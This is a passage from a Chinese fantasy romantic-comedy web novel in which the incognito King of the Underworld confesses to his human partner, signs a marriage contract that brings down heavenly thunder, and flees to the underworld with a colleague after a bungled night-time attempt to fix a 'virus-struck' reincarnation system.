阎璟低头想了想,“我也不知道,刚才出来的时候,他还在办公室。待会给他带点夜宵回去吧!”
“你们不是睡在一起吗?多少该知道点吧?”白念生一边撸串一边问。
“别瞎说,没睡一起。”阎璟有些不好意思起来。
“居然还没有睡?冷神效率不行啊!”
阎璟对白念生那张破嘴实在是无言以对,“别胡说了,传出去对他名声不好。”
白念生哈哈大笑起来,“名声?他有那玩意吗?”
“……”
阎璟还是第一次在这么热闹的地方吃饭,又吃的那么优雅,周身的气派就好像跟周围格格不入,引来好多人侧目,白念生瞅了他一眼,从身下不知道哪里变出来一个帽子。
“带上。”
阎璟转过头一看,不远处有几个人对着他这边拍照,立刻会意,把帽檐压低了些。
酒过三巡,彼此都有些醉意,谁知白念生又开了一瓶,阎璟知道白念生能喝,可这都倒一地的酒瓶,还没喝够?
“哈!你说说你,不就是云组长约会去了吗?不至于连续一周借酒消愁。”
“云为衫?关他什么事!”白念生不乐意起来。
阎璟露出一副“你不用多说我都懂”的神情。
“你懂个屁!”白念生觉得他想的有点多,忽然凑过来,压低声音,“阎小璟,跟你说个秘密,你可别告诉别人。”
阎璟竖起耳朵,点点头。
“云为衫她就—不—是—人。”
阎璟拿眼瞅他,没说话。
“你知道她是谁吗?”
阎璟摇头,表示不知。
“她是九—尾—狐!”
白念生盯着他的脸,等他一个反应,“你……不怕?不惊讶?”
阎璟这才想起来,努力瞪大眼睛,“啊?原来如此?好了不起!”
白念生嘴角抽了抽,“不走心就别硬夸了。”
阎璟想了一下,如实说道,“其实,咱们第一次在包厢里喝酒,我就看到她的尾巴了。”
“就知道,就她尾巴露的最快!”白念生又凑近了些,压低声音,神秘兮兮地说:“那我再告诉你一个秘密。”
白念生说:“其实我是地府未来的判官大人,虽然目前还在实习期,但……你懂的,怕了吧?”
阎璟:“……”
这人确实喝多了!
“不妨多告诉你几个更劲爆的,咱们公司的管理层,几乎全是上面来的。哦不对,下面来的。”白念生压低声音,神秘兮兮地说。
阎璟心想,可真是多谢你了,我入职一个月就全看清了。
“你知道为什么吗?”白念生问。
“为什么?”
“因为冥界地府的实习证明不好混啊!功德分不好积!只能来人间打工。”
说着又歪歪倒倒坐回自己位置上去,抛出一句:“你不惊讶?”
阎璟这次十分配合地深吸一口气。
“那你和云组是什么情况?”阎璟问。
提起云为衫,白念生的话匣子就关不住了。
十年前他刚到人间界,就被分到云为衫手下做事。
那时候云为衫还是男身,带他跑任务,带他吃好吃的,带他跟领导硬刚,带他去逛夜店,泡酒吧,吃路边摊,唱K,各种好玩的几乎都玩了个遍。
直到有一天,白念生喝醉了,说自己喜欢腰细腿长、长发如瀑的那种类型美女。
结果第二天上班,云为衫就变成了女子的模样。
一头漂亮的高马尾整天在他面前晃悠!
阎璟憋着笑,“这么说,云组是真的很喜欢你啊,都是按你的喜好变。”
“屁!”白念生一拍桌子,喝剩下的酒瓶掉落在地,啪的一声脆响,“他是为了让我看清楚,这种女人,我根本hold不住,让我趁早死了这条心!”
阎璟深深吸一口气,沉默片刻,心想这方法……真绝了?
57. 确定关系的阎王大人
冷樾从办公室里出来时,外面的天已经黑透了。只有几个工位角落里,贴着符的盒子幽幽冒着绿光。
阎璟不在。
往常这个点,他都会等自己一起走。今天居然连个消息都没有,人就不见了。
阎璟没喝多少酒,酒全进了白念生的肚子里。他想去扶白念生起身,对方猛地一抬头,看见是他,拍了拍他胳膊,“你等我会儿,我醒个酒。”
说完,他两指并拢,伸到桌下,真的就把酒精从身体里多多少少给逼出来了。
上次喝酒也是这招,阎璟彻底无语,“……云组说过,喝酒就是为了喝醉,你这是作弊。”
脸颊红扑扑还没缓过来劲来的白念生,一抬头,一摆手,“别提他,提他烦。”
阎璟没再吭声,像哄小孩似的半扶着他,转身去柜台结账。
手机刚掏出来,付款码亮起,白念生立刻嚷嚷起来,“用我的用我的,你那点窝囊废就别……”
话音未落,老板那头已经扫完了。
白念生迷迷瞪瞪凑过去一看那余额,眼睛差点没瞪出来。
个、十、百、千、万、十万、百……
“……卧/槽!”白念生痛心疾首,捂住胸口,似乎能吐出一口老血出来,一副深受打击的模样,“秃驴那一块表比我都贵,这群人里,我还以为就你跟我是难兄难弟,合着从头到尾,只有我是小丑?!”
“你不丑!明明这么可爱!”阎璟更听不懂了。
“可爱是形容女孩子的!”白念书听完更不乐意,带着哭腔反驳道。
钱刚付完没多久,冷樾就顺着味找过来了。
十字街头的路灯下,阎璟和白念生勾肩搭背地走着。
准确地说,是白念生非要搂着阎璟的肩膀。
尽管他个子矮了一截,够得吃力,阎璟也不恼,索性由着他整个人挂在身上。就那么弯着半边身子配合他,一只手还伸在他腰后虚虚扶着。
两人不急不缓,亦步亦趋。
不远处的街角,一辆车稳稳靠边停下。
冷樾推开车门下来,朝他们走过去。
“小璟。”
白念生这会儿酒已经醒了大半,倒是阎璟,脸上还挂着那点一沾酒精就藏不住的粉,在路灯下,整个人显得软乎乎的。
“出来喝酒,也不说一声。”
阎璟抬起头,眼睛倒是亮得很,“抱歉。”他晃晃手里的塑料袋,“我给你带了夜宵。”
袋子在他手里哗啦响,这是白念生拍着胸脯担保过,这条街最好吃的那家。
冷樾看了看那个袋子,又看了看他脸上那层淡淡的粉,叹了口气。
“先回家吧。”冷樾拉着阎璟就往车那边走。
阎璟被他拽着走了两步,回头一看,白念生还站在原地,孤零零的,怪可怜的。
“等等等等。”阎璟挣了一下,“把他一个人扔这儿不好吧?万一出点什么事……”
“出事?”冷樾脚步没停,“他不让别人出事就谢天谢地了。”
他拉开车门,把阎璟塞进去,俯身帮他系安全带的时候补了一句,“放心,会有人来治他的。”
阎璟还想说什么,车门已经关上了。
后视镜里,白念生站在原地,嘴巴一张一合,也不知道在碎碎念些什么。
车子刚启动,旁边的街道巷口里慢慢走出一个人影。
阎璟定睛一看是云为衫!
“……”
他默默收回视线,假装什么都没看见。
后视镜里,白念生已经被云为衫抵在墙上了,正一脸茫然,两手臂不停朝前面那人挥舞着,龇牙咧嘴不知道骂些什么东西。
云为衫懒得跟他废话,直接把人一扛,消失在漆黑的巷子里。
车拐过街角,阎璟终于没忍住,小声嘀咕,“这关系……真够乱的。”
知道白念生无碍,阎璟放心地收回视线,“对了,这几天一直看你在加班,公司发生什么事了吗?”
冷樾看准红绿灯,拐了一个弯,垂着眼眸想了一下,开口说道:“公司的业务系统遭到了病毒攻击,轮回系统出现了问题,队列被锁死,很多到时间能投胎的灵魂,都无法登记在册。人间开始出现灵魂滞留现象,好不容易提上去的投胎率,如今又有下滑的迹象。”
阎璟一下子坐起来,“什么?这么大的事,怎么现在才跟我说!”
冷樾看了他一眼,“跟你说,也不过是徒增一个人烦恼罢了。”
“不一样啊!”阎璟上次就发现,人间界的六道轮回系统,跟冥界地府的六道数据库是相通的,“我虽然提供不了技术支持,但好歹能看出问题所在,知道该怎么去完善。”
冷樾没有说话。
阎璟又问,“莫职呢?他不是技术总监吗?”
冷樾淡淡说道,“我让人在盯着他。”
“盯着?他有问题?”阎璟第一时间就想到了。
“我怀疑很多技术漏洞都是他故意为之,但我没有证据。”
阎璟眉头紧皱,一时无言,上次他偷偷找白念生改登录界面的功德积分的bug,就该感觉不对劲了。
冷樾瞧着阎璟眉头又皱起来,“不说他了,翻不起什么风浪。”
“但问题总得解决啊。”
“你身边不是有员大将吗?”
“谁?”阎璟突然想起刚刚白念生津津有味撸串的样子,“白念生?”
白念生这人,时靠谱时不靠谱,但有事他是真上。要不明天先让他试试,看看好不好修复。
冷樾的车开得又稳又快,窗外的路灯一盏盏往后退。阎璟靠着椅背发了一会儿呆,恍一抬头,青灯山庄的路口已经到了。
他愣了一下。
来人间界……好像有好几个月了。
时间过得真快。刚来的时候连洗澡水都不会放,现在这个时代的运行规则基本门清。
冷樾把车拐进车库,熄了火。
两人同时下车,冷樾顺手接过阎璟手里那袋夜宵,拎着往后院走。
阎璟跟在后面,慢吞吞地踩着冷樾的影子。
庭院里的花灯还亮着,暖融融的光把石板路照得清清楚楚。
走到一半,阎璟忽然停下来。
“冷樾。”
冷樾回过头,眼里带着点担心,“怎么了?不舒服吗?”
阎璟摇摇头,夜风轻轻吹过来,庭院的灯影在他脸上晃了晃。
他想,有些话拖了这么久,也该说清楚了。
“我之前不是说……有话跟你讲吗?”
冷樾转过身,正对着他。
“我说过,”他的声音低低的,却很认真,“只要你不说离开,什么都行。”
阎璟垂下眼,耳朵尖悄悄红了。
“我……这段时间想了一下。”他攥了攥手指,话到嘴边又卡了一下,“其实我对你,对你……”
心跳咚咚的,跟打鼓似的。
算了。
他深吸一口气,把眼一闭,像下定某种决心,“我们可以试试。”
冷樾先是一愣,随后一喜。
试试?
是他想的那个意思吗?
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>阎璟深深吸了口气,把胸腔里那颗乱跳的心压稳后再开口。
“试试的意思就是……我们先按恋人的模式相处看看,一年。”他顿了顿,“一年后,如果彼此心意相通,就继续走下去;如果觉得不合适,就……各自安好。”
其实他心里早就想过很多遍了,哪怕日后冷樾不跟他在一起,他也会把他这一生安排好,让他寿终正寝,无忧无虑。
至于自己嘛……
漫长的岁月里,总得有点什么可以拿出来想一想,毕竟冷樾还是第一个让他心动的人。
他正想着这些有的没的,冷樾忽然开口了。
“一年?”
冷樾看着他,眉头微微皱起来,“只有一年吗?”
阎璟被他看得心里一慌,垂下眼,长长地呼了一口气。
他不能告诉他自己的身份。
庭院里的灯影晃了晃,他想了想,轻声说,“凡人一生会经历八苦,生老病死,爱别离,怨憎会,求不得,五阴盛。”
他抬起头,看着冷樾的眉眼,“有聚,就会有散。”
冷樾安静了一会儿。
然后他问:“所以,你跟我说,我们可以在一起,却也做好了,早晚会分离的准备?”
这……话!
阎璟越听越不对劲,怎么听起来,自己像个渣男?
他连连摆手,“我不是这个意思,我只是……只是怕你以后会后悔,怕你发现我并没有你想象中的那么好,最后两人徒增伤情,玷污了这段美好纯粹的感情。”
冷樾看着他,叹了口气,突然叫道:“阎璟。”
“啊!”阎璟身体一僵,心里呐喊:你别用这种语气叫我全名啊喂!
冷樾认真地看着他,目光里没有一点玩笑的意思。
“我要在一起,就一直在一起。”他一字一句地说,“不会分离。哪怕天崩地裂,日转星移,死也死在一起。”
他顿了顿,声音低沉,“以道心起誓。”
阎璟被他这几句话砸懵了,眼睛都忘了眨。
又是道心,“这……这么严重?”
冷樾没接话,只是看着他,“所以,你还答应试试吗?”
阎璟张了张嘴,又闭上。
他本来是打算得好好的,一年为期,合则来,不合则散,大家体面。
结果冷樾直接把后路给他堵死了,连个缝都没留。
“我……我本来是打算答应你的,”阎璟眼眶一红,声音都跟着抖了,“可你说的太绝了,我不敢!”
阎璟好不容易鼓起的勇气,被冷樾一棒槌打回去了。
冷樾没说话,只是抬起手,轻轻抚着他的脸,然后低头吻了下去。
吻完了,他退开一点点,眼里带着点笑意,“你其实心里是愿意的,我很高兴。”
阎璟愣了一下,突如其来的吻,整个人头皮发麻。
谁家好人告白这么极端!要么天长地久,要么不要拥有。
冷樾却笑了。
他没说话,就那么看着阎璟。
看着他那张又气又委屈的脸,还有那副明明心软了,却还要硬撑着的表情。
他太笃定了。
笃定阎璟的心思,也吃定了阎璟的心软。
但他也知道,自己没有第二次机会。只有这一次,就这一次。
“你好不容易松了口,”冷樾往前走了一步,声音低低的,带着点笑意,“我怎么可能还会让你轻易离开。”
他抬起手,轻轻揉了揉阎璟的头发。
“男朋友。”
“……”
58. 被雷劈的冷樾大人
冷樾牵着他一路走到书房。磨墨,润笔,铺纸,蘸墨,刮尖,落笔,一气呵成。
阎璟凑在旁边,看得一头雾水,“你在写什么?”
冷樾笔下不停,嘴角微微弯了一下,“写婚书。”
“什么?!”阎璟再次惊呆!
“防止你一年后后悔。”冷樾抬起头看他一眼,眼里带着点笑意,“我相信红纸金字。”
阎璟整个人都懵了。
他原本只是想回应一下冷樾的感情,告诉他自己也挺喜欢他的,怎么就……怎么就发展成这样了?
他脑子嗡嗡的,看着那张纸,一时不知道该说什么。
电视剧里不都是先表白,再谈恋爱,然后见父母,最后才谈婚论嫁吗?
怎么到他这儿,就一步到位了?
冷樾搁下笔,轻轻吹了吹墨迹,抬起头,看见阎璟在那儿一副呆住的模样。
他缓缓走过去,只瞧了一眼,就知道他在想什么。
“你如果不想签,也没事的。”
阎璟眼睛一亮,回过神来,“真的?”
“嗯。”冷樾看着他,声音很轻,也带着些失落,“你不用考虑我的心情,也不用在乎我的感受。只要你还在我身边,无论以什么身份,我对你的情意始终都不会变。”
阎璟愣了一下。
“所以,不签也没有关系。”冷樾低着头继续往下说,语气平静,仿佛心里已经有最坏的打算,“我爱你是我的事,跟你无关。你不需要有任何压力,一切都是我自愿的。”
他快速瞅了一眼阎璟的表情,语气顿了顿,“如果我让你感觉到了压力,那就说明,我该退出你的生命舞台了。”
阎璟慌了,“你……你要走?”
他一把抓住冷樾的袖子,“这是你家,你要去哪里?”
冷樾看着他,目光温柔得不像话。
“如果你心里有我,”他轻轻说,“我就在你心里,若是没我,我在哪里又有什么关系呢!”
“……”这话说的,他更像个始乱终弃的渣男!不是?凭什么啊!
阎璟沉默了三秒。
“……我签,行吗?”他认命地松开手,认命地叹了口气,“你能恢复原来的样子吗?”
冷樾微微一笑,刚刚眼底的忧郁低落一扫而空,拉着他走到案台前快速坐下。
阎璟低头一看,只见婚书上写着“上表天庭,下符地府……”
等等,这格式怎么看着有点眼熟?
他偷偷瞄了一眼冷樾,心想冷樾这个道行微末的小道士,应该写不出真有天道影响力的婚书契约吧?
所以应该是……无碍的吧?
冷樾把笔递给阎璟,眼里的期盼都快溢出来。
他想了想,为了安冷樾的心,得到他这个人,更不想违逆自己的道心,还是拿起笔,蘸了金粉,在上面认认真真签下自己的名字。
可就当两个名字写完的那一刹那。
“轰隆!”天空一声巨响!
阎璟吓得一抖,笔都差点掉了。
冷樾却毫不在意窗外的电闪雷鸣,只是拿起那张婚书,看了又看,眼神发亮,脸上是藏都藏不住的笑意。
阎璟缩了缩脖子,又听见一声惊雷。
不会吧?天道这是在警告他,不该跟凡人谈恋爱?
可是,天道还管这个?
他抬头望着窗外的电闪雷鸣,喃喃道,“好像,外面要下暴雨了……”
“没事!雨总会停的。”冷樾顺着他的目光,看向床窗外的天空,天雷滚滚,雷声滚滚,目光幽深。
屋外的雷声轰隆隆打了一夜,雨也下了一夜,就跟天空漏个洞一样,那雨拼命往下灌,丝毫不比女娲补天时那情形好到哪里去。
阎璟本来就在床上心烦意乱睡不着,在床上翻来覆去,烙了一宿的饼。
脑海里跟放电影似的,反反复复重播晚上跟冷樾的对话,每次回想到关键处就忍不住捂着脸,脚趾头都把床单抠出一个洞来。
完了!完了?完了!他真的完了!
他堂堂一个阎王大人,居然真的在跟一个凡人谈起恋爱了!
这是什么堕落的行为!
就连天道都看不下去了,你看这雷,劈了他整整一夜!这就是在警告他啊!
第二天早上,阎璟一脸萎靡的爬起来洗漱,冷樾已经把早餐做好了。
外面的暴雨也已经停了,院中的一些花草被打落的厉害,要不是黄仙儿及时回来,眼疾手快,收了一部分回屋,几乎全被雨水扫荡个干净。
飘零一地的花瓣,铺成花路。恰逢天边出现一道唯美的彩虹,阎璟看得入神。
“吃早饭了。”冷樾朝着他的背影轻轻唤道。
阎璟转过身看他,脸色看起来有些苍白,气色不如昨天,连嘴唇都微微泛白。
“你也一宿没睡啊!”
“嗯,太高兴了。”冷樾走过去对着阎璟的脸蛋亲了一口,“早安吻。”
阎璟有点不好意思,轻轻推开他,真不明白他这股莫名其妙的兴奋劲儿,到底是从哪冒出来的!只是因为自己回应了他这份感情?
两人到达公司后,冷樾就把闻不聊叫进了办公室,不知道谈着什么事!阎璟则是去找白念生。
闻不聊刚踏进办公室的门,眼睛瞬间就直了。
立刻反应过来,顺手把门反锁。
冷樾慢慢褪去西装,衬衫,露出后背,后背上三十道天雷劈出来的伤口,纵横交错,皮开肉绽,看着就疼。
“阿弥陀佛。”闻不聊从桌上默默拿起药膏,一边给他涂一边叹息,“云组说的没错,恋爱脑真是没救了,天雷怎么就没把你直接劈成灰呢?”
“明明可以躲开,为何非得受此一遭。”闻不聊问。
冷樾说:“我若不受,这暴雨哪这么容易停。”
他像丝毫感受不到疼一般,低头看着手里的那纸婚书,笑得一脸得意,“不过,值。”
“值个鬼啊!”闻不聊小声嘀咕一声,手上一重,“冷总,听贫道一句劝,千万别作!”
“闻聊,”冷樾突然回头,“你爱过人吗?”
闻不聊手一顿,没接话,只是闷头给他上药,“伤很重,别沾水,还有……节欲。”
节欲?他都禁欲万年了,这人居然让他节欲!冷樾笑了,“你在害怕什么?”
“怕你洞房花烛夜那天,天道再给你来一波雷劫,直接送你上天!”
冷樾套上衬衫,扣
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好袖口,脸色都没变一下,“不会的,教训已经给过了。”
再劈,他就该上天去找人算账去了。
同一时间,A8小组会议结束后,阎璟火急火燎把白念生拽到一边,说要再请他吃饭。
白念生看他的眼神就不对劲,天上没有白吃的午餐,天上也不会掉馅饼,只会掉下来鸟屎,可就算掉鸟屎,也不可能这么巧让他等到。“得了,你省省吧!有事直说,你请我吃的饭我敢吃吗?”
阎璟也不装了,直接把轮回系统通道的事说了。还跟他说了自己的需求,让他帮忙查几个业务系统的技术编码!
白念生脸色一变,赶紧电脑一查,好家伙,还真有毒!
轮回通道堵得死死的,新来的魂魄根本排不上队登记,目前已经积压了上百号,投诉率直接飙升了五个百分点。
阎璟虽然有心理准备,可还是仰天长叹,“一夜回到解放前啊!”
前面几个月的活全白干了!
更要命的是,这次居然连白念生都搞不定。
白念生眉头一皱,觉得事情并不简单,“如果轮回通道锁死了,那肯定不止咱们东区这样,东西南北四个区共用一个系统……等等,一个系统?”
阎璟也想到了,“也就是说,投诉率增加,投胎率减少,用户不满意率增大,都是四倍起跳?”
“完了!惨了惨了!”白念生一拍大腿,“咱们老大刚挨完罚,再来这么一出,岂不是要被罚到再脱一层皮?”
阎璟捂着脸不忍直视,心想:我真谢谢你提醒我。
“不行,绝对不能坐以待毙!”
阎璟一咬牙,凑到白念生耳边嘀咕了几句。
白念生眼睛越睁越大,“晚上去技术部?”
“悄摸的。”阎璟郑重点头。
“被抓到怎么办?”白念生可还记得上次被抓的事,而且上次还没去对方地盘撒野!
“被抓到就跑!”阎璟说。
“跑不掉呢?”
“跑不掉……”阎璟眯起眼睛,露出一个和善的微笑,“那就把抓咱们的咔嚓掉,就没人知道了。”
白念生愣了一下,随即兴奋地搓手,“好血腥,我喜欢!”
白念生真是无条件陪着阎璟疯,两人再一次趁着夜黑风高偷偷溜进技术部楼层,只是出师未捷,刚踏进去,红外线警报器就滴滴滴全响起来。
白念生大手往脑门上一拍,“哎呀,出这档子事,现在技术部肯定在戒严,我怎么把这个重要的事给忘记了!”
不仅技术部门这一层,紧接着整个楼层都开始报警!
阎璟和白念生被四面八方的红外线照得满身都是。
“完了个大蛋!”红外线直接朝两人的坐标射击过来,一个人的身上,没有几十也有一百。
躲,往哪里躲!哪里都躲不了。
两人缩着身子连连后退,已经来不及了。白念生也顾不得这么多,拽着阎璟立刻缩回地府里去。
一道白雾闪现,白念生带着阎璟就出现在地府的奈何桥之上。
白念生还在后怕,拍拍胸脯,心有余悸,“我滴乖乖,吓死我了。”
阎璟才真是吓死了,还没反应过来,这一下子给他干哪来了!
59. 被迫回家的阎王大人
阎璟捂着脸不忍直视,揉揉太阳穴,眼神里满是无奈,这一下可好,被他白念生直接干家里来了!
奈何桥上,原本井然有序排队等候喝孟婆汤的魂魄们,也被突如其来的两道身影,吓到四散奔逃。
“干嘛呢干嘛呢!排好队!”一道中年妇女的声音浑厚有力,朝着白念生那边怒吼道。“谁让你们擅自离队的,还有前面那两个,没喝就准备溜之大吉啊!自觉回来!别让我灌你们啊!”
果然,前面飘过去的魂魄耷拉着脑袋,又灰溜溜飘回来,乖乖站回队尾。
白念生“哎呦”一声,拉着阎璟,声音压到极低,询问,“今天阴历几号啊”
”二十四。”阎璟小声回答他。
白念生抬手给自己脑门一下,声音清脆,“四,十四,二十四,孟婆出摊。”
阎璟望着奈何桥那头的门房上面几个楷体大字——孟婆的小店!
小店门口的摊位上新出好几种口味的孟婆汤,还在咕噜咕噜冒着各种颜色的泡泡,忍不住小声嘟囔,“我也给忘了。”
白念生拉着阎璟,弯着腰猫着走,躲在那群魂魄的后面,畏畏缩缩的往桥头挪,恨不得缩成透明人,只希望不要引起孟婆的注意。
可惜天不遂人愿。
这么两个显眼的人,怎么可能没人注意,毕竟别人都是虚体,只有他们两个人实体。
孟婆抬眼一看,刚刚落地冲散魂魄队伍,破坏她散孟婆汤的人是白念生,气就不打一出来,勺子往汤锅里一放,汤也不布了,撸起袖子大步走上前来,直接拦住白念生两人的去路。
语气不客气,手上也不客气,一把拽着白念生的衣领,轻松就把人提溜起来,“白念生,我还没找你算账,你居然主动出现在我面前。”
“姨……姨呃不对,姐,孟姐,婆姐,孟婆姐姐,这一定有误会。”
孟婆拽着他的衣领不松手,另一只手插着腰,“误会什么,你上次是不是答应我,在人间会照顾小七,可她最近烧纸告诉我,人间界只有你在欺负她!!”
“不可能!”白念生立刻举手起来,就差发誓了,“我一定是被冤枉的!您一定是看错字了,再说小七妹妹这么可爱,我怎么舍得欺负她呢!是不是阎小璟?”
他一边说还一边给阎璟使眼色。
阎璟原本打算趁孟婆拽着白念生的瞬间,悄悄从旁边开溜,没想到刚刚后退半步,就被白念生点名拉下水!
一时僵在原地,进也不是,退也不是。
这时,孟婆这才注意到白念生身后的这个男孩子,定睛一看,不由倒吸一口凉气,心想这孩子可真漂亮,眉眼如画,肤若凝脂,真真跟画里面走出来似的,感叹之余又是一阵唏嘘,“这……年纪轻轻就死了?可惜了了。”
白念生趁她卸力,立刻挣脱出来,上前一把将阎璟拽到自己身后,赶紧拦住她,“孟婆姐,你别瞎说,他没死,我们在人间出来点事儿,不得已回地府躲躲。”
孟婆视线还没从阎璟脸上离开,嘴里却是一副公事公办的语气,“不合规矩,不成体统!”
“是是是,我这就把他带走?”白念生笑着打哈哈,拉着阎璟准备开溜。
“来者是客,要不要喝碗汤再走?”
白念生脚步一顿,转头看着摊位上面那红不拉几,紫不拉几,绿不拉几冒着诡异泡泡的东西,艰难地咽了口唾沫,赔笑道:“这配方又改了?”
“人间版本,珍珠奶茶,椰果,芋泥也有,还有胡辣汤口味的,你挑啊!”
白念生连忙摆手,“不用了,真不用了,我们赶时间,就不耽误您布汤了哈!”
然后趁她不注意,拽着阎璟撒腿就跑。
孟婆看着两人逃之夭夭的背影,在后面大笑出声,拿着汤勺往肩膀上一扛,转头对着还没整好队伍,想插科打诨偷偷溜掉的魂魄,又是一嗓子中气十足的怒吼,“给我去—排—队!”
魂魄们吓了一激灵,立刻乖乖排好。
阎璟被白念生拉着跑了老远,才停下来拍拍胸口,喘着粗气,“天呐!孟婆真可怕,当然不是指他的战力。”
白念生也喘着气,回头望了一眼,咧嘴一笑,“可怕的是她的汤。”
两人对视一眼,同时笑出声来。
阎璟在自己的地盘,这么畏手畏脚还是第一次,躲开孟婆,保不齐还遇到其他高级要员,万一认出他来,可就不太妙了。
白念生见他视线一直在看着四周,只当他是没见过世面。
于是拉着人回了自己的住所。
白念生住的地方不大,是一处靠近黄泉边用茅草屋盖的小院子,胜在外面风景不错,彼岸花迎风招展,抬头就能看到地府最高建筑阎罗大殿,离得不远就是鬼市街。
阎璟心里很是奇怪,就算是实习判官,也有分配的宿舍,怎么会住的如此寒酸?
“阎小璟,你乖乖在这呆着,不准乱跑,我出去办点事。”白念生把人按在床上,“如果累了就休息会,把这当成自己家!”
“……”阎璟没问,也来不及问,白念生就跑了。
没过多久,白念生手里提着一袋吃的回来,后面还跟着一个人,看来这就是白念生要办的事了。
何狂没有想到白念生家里藏了人,还没看清阎璟模样,转身就要走,免得自己成电灯泡,“打扰了,告辞!”
“告你个头啊!是阎小璟!”
阎璟听到声音,从暗处走出来。
何狂松了一口气,吃食往桌上一摆,招呼阎璟过来,“太晚了,从夜市随便买了点。”
阎璟倒是不怎么饿,就是有点心塞,没潜入敌人内部,没想到自己先回家了。
“我不饿!你们吃吧!”
白念生从后面掏出一杯奶茶递给阎璟,“知道你难伺候,给你的。”
阎璟接也不是,不接也不是,犹豫半晌,还是接了过来。
何狂拿起爪子大快朵颐,“说说吧,白念生,你什么情况,怎么把凡人给带冥界来了。你知不知道被上头发现,他有什么下场吗?”
白念生吃一口串串,“嗨,我也是没有办法了,总不能我一个人跑,把他留那里被射成筛子吧!”
“你俩可真行!就没一刻消停的!”何狂再次感叹,“云为衫也真是命苦,摊到你俩这活爹!”
阎璟捂着脸:“我更命苦!”
白念生丝毫不在意,起身转了转,望着远处高耸的宫殿,“哎,你说我们老大究竟被罚到哪里去了?找了几个月都没消息。”
说起这个,阎璟可就来了精神,竖起耳朵仔细听。
何狂吐槽道,“能找到才是怪事!你见过老大长什么样子吗?”
白念生摇头,十分无奈,“老大每次开会都是法相附身,谁看得见。”
“对啊!”何狂又转念问阎璟,“你见过阎王大人吗?”
阎璟眨巴眨巴眼睛,回头看看墙上那面镜子,然后回头朝他摇摇头。
“看吧!没人知道老大长啥样!”何狂两手一拍,一摊,空空如也。
白念生拉着阎璟的手,搂在他肩上,“阎小璟,你知道吗!我最佩
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服的人,就是我们老大!他是我们冥界至高无上的神,是我的精神食粮!是我偶像!”
“……”
何狂把白念生推开,自己揽着阎璟,开口询问:“你觉得阎王大人应该是什么样的?”
阎璟摇头。
何狂:“阎王大人,威武霸气,身材魁梧有力,从来说一不二,勇敢果断,神力无双!”
阎璟缓缓地低下了头。真的,他没有一个符合要求的。
“阎小璟!珍惜你现在在冥界的时光,这是你离我们偶像最近的一次!”
阎璟见两人越说越激动,实在无力吐槽。
他可算明白,人间界自己的形象为何是那么魁梧,胡子一把,感情都是这么传出去了。
最后半天只汇聚成一句:“对!你们说的都对。”
然后自己走到一旁坐下,拿起手机给冷樾发消息。
这么晚了,他和白念生就这么消失,冷樾肯定会担心的。
另一边的冷樾看着平板上阎璟的定位,也沉默下来。
千算万算,人居然在地府!
既然回来了,阎璟忽然想起一件事来。
他寝殿里,有可以直接登录阎王权限的云端数据库。
当初秦广王跟他汇报时,他对着那堆复杂的界面看了半天,愣是没看懂,便搁置了。
现在想来,要是自己实在搞不定,不是还有白念生嘛。
总部的云端系统,改起数据来比人间那帮鸡肋快多了。
改完之后,再以他的名义让秦广王发布下去。
简直完美。
何狂吃饱喝足早就撤了,这个摇摇欲坠的茅草屋里就只剩下他和白念生。
他拍了拍刚躺下的白念生。
“干嘛呀!”白念生嘟囔着翻了个身,声音闷在枕头里。
“陪我去大殿,改六道轮回系统的云端数据。”
白念生向来对他有求必应,脑子还没醒,嘴就先动了,“好。”
下一秒,他猛地睁开眼睛,不敢相信自己的耳朵,“你说改什么?”
“去你老大的寝殿……改云端数据。”
“你疯了还是我疯了!”白念生腾地坐起来,被子滑落一半,“被抓到要下十八层地狱的!”
阎璟愣了一下,“谁定的规矩?”
“我们老大定的!”
“我什么时候定的?”
“我什么时候说你定的?”
阎璟:“……”
空气安静了一瞬。
白念生被他惊人语录吓得一脸惊恐地往被子里缩,只露出两只眼睛,警惕地盯着他。
阎璟凑过去,语气放软,“没事,相信我。改完数据,人间那边就能恢复正常了。”
白念生把被子往头上一蒙,闷闷的声音从里面传出来,“我不去。”
阎璟握了握拳,深吸一口气,换了个策略。
“你想想,”他慢悠悠地开口,语气像在诱惑小孩吃糖,“万一你老大的卧室里,挂着他的自画像呢?”
被子里的人突然不动了。
“再万一,画像上还有他亲笔签名。”
被子里的人动了动,露出半张脸。
“万一……”阎璟拖长了尾音,“寝殿里恰好没人,那些可都归你了。”
被子被彻底掀开。
白念生腾地坐起身,眼睛亮得惊人。
阎璟看着他,一字一顿,下最后一剂猛药,“正所谓,富贵险中求。”
白念生一咬牙,掀被下床,“走!”
60. 做贼心虚的阎王大人
只是可惜,出师未捷又死了。
两人费劲巴力来到大殿门口,还没进去,就撞上了上夜班的牛力。
牛头马面往门前一站,手里的钢叉往地上一放,一声闷响,把前方大路堵得严严实实。
牛力一看是熟人,先开口问,“白念生,你要干嘛去?”
一看后面那人,眼神突然发亮,“哎呦,小帅哥怎么也来了?白念生你真混账,若是被人发现,他焉有命在?”
白念生抬头一看,“哎呦喂,是牛哥啊,辛苦辛苦!白天在公司当保安,晚上在殿门口当护卫,您这是要卷死谁啊?要不要考虑换个轻松点的职业?比如……躺平?”
牛力收回钢叉,哎呀一声,“不躺,我再攒攒,功德就满了,就可以如愿升阶。”
升阶了?
白念生笑容一僵,随即瞪大眼睛,满脸不可置信,“啥玩意儿?你功德怎么攒得这么快?
牛力摊摊手,“你有本事也打两份工啊!”
“……”一句话把白念生噎住,半晌才幽幽叹了口气,“那确实……干不来。行,您先忙着,我带阎小璟四处转转。”
说着拉起阎璟就要往上走。
“哐!”两柄钢叉十字相交,拦住去路。
“此路不通,赶紧带着小帅哥离开地府。”
白念生笑容不变,语气里带了点讨好,“我就带他去上面,在阎王大殿门口拍个照,打个卡,发个朋友圈就下来,很快的!”
“不行。”牛力言简意赅。
“为什么呀?”
马面慢吞吞接话,声音从嗓子眼里闷出来,“自阎王大人前往人间之后,秦总便下了死令,任何人不得靠近阎王大人寝宫半步。违者,打入十八层地狱,永世不得超生。白念生,您是想去体验一下刀山火海的新套餐?”
“……”
阎璟老老实实站在白念生后面,脸色那叫一个精彩极了。
他万万没想到,特么的回自己家,就这么困难吗!
白念生无奈回头望,冲他耸耸肩,眼神里写满了:看吧,就说不行吧!
“行吧!既然秦总发话了,咱就不上去自讨没趣了。”白念生拉着阎璟转身就走,走出一段距离,才压低声音咬耳朵,“看到没?牛头马面看着门呢?”
阎璟的小脑袋在飞速转动,“那要不,干脆直接穿过去。”
“不行,刚才我感知了一下,整个寝宫外围罩着一层禁制,想来是秦总开启的防护禁制。”白念生刚刚跟牛力谈话时就已经注意到了。
